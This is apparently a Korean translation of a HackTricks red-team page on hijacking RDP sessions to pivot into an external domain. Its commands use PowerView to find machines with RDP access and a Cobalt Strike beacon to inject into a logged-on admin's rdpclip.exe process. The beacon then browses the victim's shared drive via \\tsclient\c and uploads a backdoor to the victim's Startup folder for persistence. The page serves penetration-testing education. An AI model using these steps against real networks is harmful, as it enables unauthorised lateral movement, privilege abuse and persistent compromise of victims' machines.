외부 그룹이 현재 도메인의 컴퓨터 중 어떤 컴퓨터에 RDP 액세스를 가지고 있다면, 공격자는 해당 컴퓨터를 침해하고 기다릴 수 있습니다.
한 번 사용자가 RDP를 통해 접속한 후, 공격자는 해당 사용자의 세션으로 피벗하여 외부 도메인에서 권한을 남용할 수 있습니다.
# Supposing the group "External Users" has RDP access in the current domain## lets find where they could access## The easiest way would be with bloodhound, but you could also run:Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#orFind-DomainLocalGroupMember-GroupName "Remote Desktop Users"| select -expand ComputerName# Then, compromise the listed machines, and wait til someone from the external domain logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local## From that beacon you can just run powerview modules interacting with the external domain as that user
공격자가 기다리는기계로 RDP를 통해 사용자가 액세스하면, 공격자는 사용자의 RDP 세션에 비콘을 삽입할 수 있으며, 피해자가 RDP를 통해 드라이브를 마운트했을 경우, 공격자는 이에 접근할 수 있습니다.
이 경우, 시작 폴더에 백도어를 작성하여 피해자의 원래 컴퓨터를 침해할 수 있습니다.
# Wait til someone logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.## \\tsclient\c is the C: drive on the origin machine of the RDP sessionbeacon> ls \\tsclient\cSize Type Last Modified Name-------------------------dir 02/10/202104:11:30 $Recycle.Bindir 02/10/202103:23:44 Bootdir 02/20/202110:15:23 Config.Msidir 10/18/201601:59:39 Documents and Settings[...]# Upload backdoor to startup folderbeacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startupbeacon> upload C:\Payloads\pivot.exe
htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 AWS 해킹을 배워보세요!
HackTricks를 지원하는 다른 방법:
회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!